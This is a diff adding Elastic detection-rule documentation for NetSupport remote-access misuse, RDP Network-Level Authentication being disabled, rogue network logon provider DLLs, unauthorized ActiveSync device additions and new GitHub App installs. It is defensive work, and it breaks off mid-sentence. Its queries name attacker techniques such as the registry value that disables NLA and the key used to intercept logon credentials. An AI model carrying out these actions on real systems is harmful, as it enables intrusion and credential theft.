b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-netsupport-manager-execution-from-an-unusual-path.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-netsupport-manager-execution-from-an-unusual-path]] +=== NetSupport Manager Execution from an Unusual Path + +Identifies execution of the NetSupport remote access software from non-default paths. Adversaries may abuse NetSupport Manager to control a victim machine. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netsupportsoftware.com/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating NetSupport Manager Execution from an Unusual Path* + + + +*Possible investigation steps* + + +- What is the alerting process and how did NetSupport reach this host from a non-default path? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when the client is unsigned, portable, or mismatched to its original file name, or when the parent chain starts from a script host, archive utility, browser, or Office process; lower suspicion when signer, path, and parent chain resolve to a recognized deployment. Identity alone does not clear the behavior. + +- Does the client or child command line show recognized deployment behavior or covert control intent? + - Focus: `process.command_line`, `process.working_directory`, and `process.parent.command_line`, with attention to connection targets, relay parameters, and hidden or scripted launch behavior. + - Hint: if the alert fired on a child process and the parent command line is absent or truncated, recover the NetSupport client start event on the same `host.id` before judging deployment or relay intent. + - Implication: escalate when the command line reveals external control targets, stealthy launch parameters, or deployment behavior that does not fit expected support tooling; lower suspicion when the arguments match a recognized support or managed rollout workflow. + +- Do network events show expected support infrastructure or suspicious relay traffic? + - Focus: process-scoped DNS and connection events for `process.entity_id`, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network activity for the NetSupport process","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process reaches rare public destinations or unexpected relay infrastructure; lower suspicion when destinations align with known internal support infrastructure. Missing network telemetry is unresolved, not benign. + +- Do file events show staged components, renamed NetSupport files, or persistence artifacts? + - Focus: file events scoped to `process.entity_id`: `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, `file.Ext.header_bytes`, and adjacent NetSupport files ("client32u.ini", "NSM.lic", "NSM.ini", "CKSINI.EXE"). + - Implication: escalate when the process writes portable components, renamed files, or bundled config/license files, or when artifacts later appear in persistence or execution telemetry; lower suspicion when file activity stays in a recognized installation path with no suspicious reuse. + +- Do child processes launched from NetSupport show interactive abuse beyond normal support? + - Focus: child process events from `process.entity_id`, checking `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child processes launched by the NetSupport client","providers":[[{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when NetSupport spawns shells, scripting engines, archivers, credential tools, or other hands-on-keyboard tooling; lower suspicion when child activity stays limited to expected helper processes or no secondary execution follows. + +- If the local evidence stays suspicious, does this host or user show related alerts or a recurring deployment pattern? + - Focus: related alerts for `host.id` and `user.id` in the last 48 hours, checking for delivery, persistence, remote-access, or credential activity, and whether the same client path, signer, and destination pattern recur across prior alerts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if workflow documentation is unavailable, recurrence of the same client path, signer, and destination pattern across prior alerts is the strongest telemetry-based benign signal. + - Implication: broaden when the host or user shows suspicious precursor, follow-on, or cross-host activity; lower suspicion when the same deployment pattern recurs with no contradictory alerts. + +- Escalate when binary identity, launch chain, network destinations, staged artifacts, or child-process behavior point to unauthorized NetSupport deployment or interactive abuse; close only when all evidence aligns with a recognized support deployment; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Legitimate IT support or managed deployment can stage NetSupport in non-default paths. Confirm it when the client is signed by NetSupport Ltd, the parent is an IT deployment tool (SCCM, GPO, management agent), bundled config files (client32u.ini, NSM.lic) sit alongside the client in the same directory, and network destinations resolve to internal support infrastructure. +- Before creating an exception, build on `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, `user.id`, and `host.id`. Avoid exceptions on `process.name` alone, the user alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, the destination pattern, and the `user.id`/`host.id` pairing. Create an exception using the fields from the FP guidance above. +- If suspicious but unconfirmed, preserve the alert's `process.entity_id`, client path, signer, `process.command_line`, related `file.path` values, child-process lineage, and any linked `destination.ip`, `dns.question.name`, or `dns.resolved_ip` values. Apply reversible containment such as temporary blocking of confirmed destinations. Escalate to host isolation only when live remote control or lateral movement is still plausible and the asset can tolerate it. +- If confirmed malicious, use endpoint response to contain the host after recording the alert's `process.entity_id`, client path, signer, command line, child-process details, written artifact paths, and confirmed destinations. If direct endpoint response is unavailable, escalate with that evidence set to the team that can terminate the process, isolate the host, and block the malicious destinations and dropped artifact hashes identified during the investigation. +- Before deleting files or removing access, review the same client path family, destinations, bundled config or license files, and dropped artifact names across other hosts and users so portable staging or shared controller infrastructure does not stay localized by mistake. Then eradicate the unauthorized NetSupport client, persistence mechanism, installer artifacts, and follow-on tooling uncovered during the file and child-process review. +- Post-incident hardening: restrict remote-access tool installs to approved signed packages and approved paths, review software-allowlisting or deployment controls that allowed the portable client to run, and retain endpoint process, file, and network telemetry. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "client32.exe" or ?process.pe.original_file_name == "client32.exe" or process.parent.name : "client32.exe") and + ( + process.executable : + ("?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\*.exe") or + ?process.parent.executable : ("?:\\Users\\*\\client32.exe", "?:\\ProgramData\\*\\client32.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-network-level-authentication-nla-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-network-level-authentication-nla-disabled.asciidoc new file mode 100644 index 0000000000..1e4f716733 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-network-level-authentication-nla-disabled.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-21-network-level-authentication-nla-disabled]] +=== Network-Level Authentication (NLA) Disabled + +Identifies the attempt to disable Network-Level Authentication (NLA) via registry modification. Network Level Authentication (NLA) is a feature on Windows that provides an extra layer of security for Remote Desktop (RDP) connections, as it requires users to authenticate before allowing a full RDP session. Attackers can disable NLA to enable persistence methods that require access to the Windows sign-in screen without authenticating, such as Accessibility Features persistence methods, like Sticky Keys. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network-Level Authentication (NLA) Disabled* + + +Network-Level Authentication (NLA) enhances security for Remote Desktop Protocol (RDP) by requiring user authentication before establishing a session. Adversaries may disable NLA to exploit vulnerabilities at the Windows sign-in screen, bypassing authentication for persistence tactics. The detection rule identifies registry changes that disable NLA, signaling potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the UserAuthentication value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent Remote Desktop Protocol (RDP) connection attempts or sessions on the affected host to determine if unauthorized access was achieved following the NLA disablement. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. +- Assess the host for signs of persistence mechanisms, particularly those leveraging Accessibility Features like Sticky Keys, which may have been enabled following the NLA disablement. +- Evaluate the security posture of the affected system, including patch levels and existing security controls, to identify potential vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Administrative changes to RDP settings can trigger false positives when IT personnel intentionally modify registry settings for legitimate purposes. To handle this, create exceptions for known administrative activities by documenting and excluding these specific registry changes from alerts. +- Software updates or installations that modify RDP settings might be flagged as false positives. To mitigate this, maintain a list of trusted software and their expected registry changes, and configure the detection system to ignore these during update windows. +- Automated scripts or management tools that adjust RDP configurations for compliance or performance reasons can also cause false positives. Identify these tools and their expected behavior, then set up exclusions for their registry modifications to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Re-enable Network-Level Authentication (NLA) on the affected system by modifying the registry value back to its secure state, ensuring that "UserAuthentication" is set to "1" or "0x00000001". +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. +- Review and update endpoint security policies to ensure that registry changes related to NLA are monitored and alerts are generated for any unauthorized modifications. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "UserAuthentication" and + registry.path : ( + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication", + "MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication" + ) and registry.data.strings : ("0", "0x00000000") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Downgrade Attack +** ID: T1562.010 +** Reference URL: https://attack.mitre.org/techniques/T1562/010/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-network-logon-provider-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-network-logon-provider-registry-modification.asciidoc new file mode 100644 index 0000000000..1c0afe1d40 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-network-logon-provider-registry-modification.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-21-network-logon-provider-registry-modification]] +=== Network Logon Provider Registry Modification + +Identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in clear text during user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy +* https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Logon Provider Registry Modification* + + +Network logon providers are components in Windows responsible for handling the authentication process during a network logon. + +This rule identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon provider module for persistence and/or credential access via intercepting the authentication credentials in plain text during user logon. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Examine the `registry.data.strings` field to identify the DLL registered. +- Identify the process responsible for the registry operation and the file creation and investigate their process execution chains (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. + - Investigate any abnormal behavior by the subject process, such as network connections, DLLs loaded, registry or file modifications, and any spawned child processes. +- Retrieve the file and examine if it is signed with valid digital signatures from vendors that are supposed to implement this kind of software and approved to use in the environment. Check for prevalence in the environment and whether they are located in expected locations. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the executables of the processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- False Positives can include legitimate software installations or updates that modify the network logon provider registry. These modifications may be necessary for the proper functioning of the software and are not indicative of malicious activity. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Reimage the host operating system or restore the compromised files to clean versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings : "?*" and registry.value : "ProviderPath" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath" + ) and + /* Excluding default NetworkProviders RDPNP, LanmanWorkstation and webclient. */ + not ( + user.id : "S-1-5-18" and + registry.data.strings : ( + "%SystemRoot%\\System32\\ntlanman.dll", + "%SystemRoot%\\System32\\drprov.dll", + "%SystemRoot%\\System32\\davclnt.dll", + "%SystemRoot%\\System32\\vmhgfs.dll", + "?:\\Program Files (x86)\\Citrix\\ICA Client\\x64\\pnsson.dll", + "?:\\Program Files\\Dell\\SARemediation\\agent\\DellMgmtNP.dll", + "?:\\Program Files (x86)\\CheckPoint\\Endpoint Connect\\\\epcgina.dll" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Network Provider DLL +** ID: T1556.008 +** Reference URL: https://attack.mitre.org/techniques/T1556/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-activesyncalloweddeviceid-added-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-activesyncalloweddeviceid-added-via-powershell.asciidoc new file mode 100644 index 0000000000..791df05681 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-activesyncalloweddeviceid-added-via-powershell.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-new-activesyncalloweddeviceid-added-via-powershell]] +=== New ActiveSyncAllowedDeviceID Added via PowerShell + +Identifies the use of the Exchange PowerShell cmdlet, Set-CASMailbox, to add a new ActiveSync allowed device. Adversaries may target user email to collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-casmailbox?view=exchange-ps + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New ActiveSyncAllowedDeviceID Added via PowerShell* + + +ActiveSync is a protocol enabling mobile devices to synchronize with Exchange mailboxes, crucial for accessing emails on-the-go. Adversaries may exploit the Exchange PowerShell cmdlet, Set-CASMailbox, to add unauthorized devices, gaining persistent access to sensitive email data. The detection rule identifies suspicious PowerShell activity by monitoring for specific command patterns, helping to flag potential unauthorized device additions and mitigate risks associated with account manipulation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (e.g., powershell.exe, pwsh.exe, powershell_ise.exe) and the command line arguments used, focusing on the presence of "Set-CASMailbox" and "ActiveSyncAllowedDeviceIDs". +- Examine the user account associated with the process execution to determine if the account has a history of legitimate administrative actions or if it might be compromised. +- Check the device ID added to the ActiveSyncAllowedDeviceIDs list to verify if it is recognized and authorized for use within the organization. +- Investigate the source IP address and host from which the PowerShell command was executed to assess if it aligns with expected administrative activity or if it originates from an unusual or suspicious location. +- Review recent email access logs for the user account to identify any unusual patterns or access from unfamiliar devices that could indicate unauthorized access. +- Correlate this event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger the rule when IT staff use PowerShell to configure or update ActiveSync settings for users. To manage this, create exceptions for known administrative accounts or specific maintenance windows. +- Automated scripts for device management that include the Set-CASMailbox cmdlet can cause false positives. Review and whitelist these scripts if they are verified as part of routine operations. +- Third-party applications that integrate with Exchange and modify ActiveSync settings might be flagged. Identify and exclude these applications if they are trusted and necessary for business operations. +- Regular audits of device additions by authorized personnel can help distinguish between legitimate and suspicious activities, allowing for more accurate exception handling. +- Consider the context of the activity, such as the time of day and the user account involved, to refine detection rules and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access to the mailbox. +- Revoke the ActiveSync device access by removing the unauthorized device ID from the user's mailbox settings using the Exchange PowerShell cmdlet. +- Conduct a thorough review of the affected user's mailbox and account activity logs to identify any unauthorized access or data exfiltration attempts. +- Reset the password for the compromised user account and enforce multi-factor authentication (MFA) to enhance security. +- Notify the security team and relevant stakeholders about the incident for further investigation and potential escalation. +- Implement additional monitoring on the affected account and similar accounts for any unusual activity or further attempts to add unauthorized devices. +- Review and update the organization's security policies and procedures related to mobile device access and PowerShell usage to prevent recurrence. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "Set-CASMailbox*ActiveSyncAllowedDeviceIDs*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-app-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-app-installed.asciidoc new file mode 100644 index 0000000000..5d5299cbc9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-app-installed.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-new-github-app-installed]] +=== New GitHub App Installed + +This rule detects when a new GitHub App has been installed in your organization account. GitHub Apps extend GitHub's functionality both within and outside of GitHub. When an app is installed it is granted permissions to read or modify your repository and organization data. Only trusted apps should be installed and any newly installed apps should be investigated to verify their legitimacy. Unauthorized app installation could lower your organization's security posture and leave you exposed for future attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub App Installed* + + +GitHub Apps enhance functionality by integrating with repositories and organization data, requiring careful scrutiny upon installation. Adversaries may exploit these apps to gain unauthorized access or manipulate data. The detection rule monitors audit logs for new app installations, flagging potential threats by identifying unauthorized or suspicious integrations, thus safeguarding organizational security. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset "github.audit" and event.action "integration_installation.create" to identify the newly installed GitHub App. +- Verify the identity of the user or service account that performed the installation to ensure it aligns with expected behavior and authorized personnel. +- Check the permissions requested by the newly installed app to assess the level of access it has to your repositories and organization data. +- Cross-reference the app with a list of approved or trusted applications within your organization to determine if it is authorized. +- Investigate the app's developer or vendor to ensure they are reputable and have a history of secure and reliable applications. +- Communicate with the team or individual responsible for the installation to confirm the app's purpose and necessity within the organization. + + +*False positive analysis* + + +- Frequent installations of trusted internal apps may trigger alerts. To manage this, maintain a list of approved internal apps and create exceptions for these in the detection rule. +- Automated deployment tools that integrate with GitHub might cause false positives. Identify these tools and exclude their installation events from triggering alerts. +- Regular updates or re-installations of existing apps can be mistaken for new installations. Track app version updates separately and adjust the rule to differentiate between updates and new installations. +- Development or testing environments often install and remove apps frequently. Consider excluding these 